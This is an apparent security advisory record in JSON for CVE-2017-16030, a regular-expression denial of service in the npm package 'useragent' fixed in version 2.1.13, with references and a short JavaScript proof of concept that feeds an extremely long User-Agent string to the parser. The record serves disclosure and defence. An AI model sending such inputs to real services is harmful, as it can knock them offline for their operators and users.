{"id":"CVE-2017-16030","aliases":[],"url":"https://o3.security/vulnerability/CVE-2017-16030","summary":"ReDoS via long UserAgent header in useragent","details":"Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n\n## Proof of Concept\n```js\nvar useragent = require('useragent');\n\nvar badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';\nvar request = 'GET / HTTP/1.1\\r\\nUser-Agent: ' + badUserAgent + '\\r\\n\\r\\n';\nconsole.log(useragent.parse(request));\n```\n\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.","published":"2018-07-24T19:59:13Z","modified":"2023-11-08T03:59:00.619293Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"useragent","fixedVersion":"2.1.13"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16030"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pjmx-9xr3-82qr"},{"type":"WEB","url":"https://www.npmjs.com/advisories/312"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2023-11-08T03:59:00.619293Z"}}